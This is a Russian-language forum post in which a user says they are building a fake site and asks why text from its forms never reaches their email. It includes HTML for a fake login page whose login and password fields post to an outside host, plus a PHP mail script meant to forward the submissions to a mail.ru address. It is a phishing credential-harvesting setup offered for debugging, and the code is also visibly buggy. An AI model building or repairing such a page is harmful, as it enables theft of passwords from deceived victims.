Edmonson
Сообщений: 4
Оценки: 0
Присоединился: 2011-12-05 17:32:30.110000
|
Сейчас делаю фэйк, и для него мне необходимо наладить отправку текста на почту из форм на моем фэйк сайте, для этого я пользовался PHP, однако на почту ничего не приходит, подскажите пожалуйста где ошибка: index.php PHP код: <HTML> <HEAD> <TITLE>Добро пожаловать</TITLE> <link rel="stylesheet" href="style.css" type="text/css"/> </HEAD> <BODY> <center> <table cellspacing="0" cellpadding="0"> <tr><div class="head"></div></tr> <tr> <td width="5"><div class="left"></div></td> <form action="http://o42h88u037m.hut4.ru/simple_mail.php" enctype="multipart/form-data" method="post"> <td width="123px"><div class="mail"></div> <input type="text" size="15" height="18" name="mail_subject"> <div class="paroll"></div> <input type="password" name="mail_subject" height="18" size="15"> <div class="his"></div> <div class="butt"><input type="image" img src="images/butt0.png"></div> <div class="niz"></div></td> </form> <td><div class="osnova"></div></td> </tr> </table> </center> </BODY> </HTML> simple_mail.php PHP код: <?php if(empty($_POST['mail_to'])) exit("http://spadmils@mail.ru"); // проверяем правильности заполнения с помощью регулярного выражения if (!preg_match("/^[0-9a-z_]+@[0-9a-z_^\.]+\.[a-z]{2,3}$/i", $_POST['mail_to'])) exit("http://spadmils@mail.ru"); $picture = ""; // Если поле выбора вложения не пустое - закачиваем его на сервер if (!empty($_FILES['mail_file']['tmp_name'])) { // Закачиваем файл $path = $_FILES['mail_file']['name']; if (copy($_FILES['mail_file']['tmp_name'], $path)) $picture = $path; } $thm = $_POST['mail_subject']; $msg = $_POST['mail_msg']; $mail_to = $_POST['mail_to']; // Отправляем почтовое сообщение if(empty($picture)) mail($mail_to, $thm, $msg); else send_mail($mail_to, $thm, $msg, $picture); // Вспомогательная функция для отправки почтового сообщения с вложением (Trianon) function send_mail($mail_to, $thema, $html, $path) { if ($path) { $fp = fopen($path,"rb"); if (!$fp) { print "Cannot open file"; exit(); } $file = fread($fp, filesize($path)); fclose($fp); } $name = "file.ext"; // в этой переменной надо сформировать имя файла (без всякого пути) $EOL = "\r\n"; // ограничитель строк, некоторые почтовые сервера требуют \n - подобрать опытным путём $boundary = "–".md5(uniqid(time())); // любая строка, которой не будет ниже в потоке данных. $headers = "MIME-Version: 1.0;$EOL"; $headers .= "Content-Type: multipart/mixed; boundary=\"$boundary\"$EOL"; $headers .= "From: address@server.com"; $multipart = "–$boundary$EOL"; $multipart .= "Content-Type: text/html; charset=windows-1251$EOL"; $multipart .= "Content-Transfer-Encoding: base64$EOL"; $multipart .= $EOL; // раздел между заголовками и телом html-части $multipart .= chunk_split(base64_encode($html)); $multipart .= "$EOL–$boundary$EOL"; $multipart .= "Content-Type: application/octet-stream; name=\"$name\"$EOL"; $multipart .= "Content-Transfer-Encoding: base64$EOL"; $multipart .= "Content-Disposition: attachment; filename=\"$name\"$EOL"; $multipart .= $EOL; // раздел между заголовками и телом прикрепленного файла $multipart .= chunk_split(base64_encode($file)); $multipart .= "$EOL–$boundary–$EOL"; if(!mail($mail_to, $thema, $multipart, $headers)) {return False; //если не письмо не отправлено } else { //// если письмо отправлено return True; } exit; } ?>
|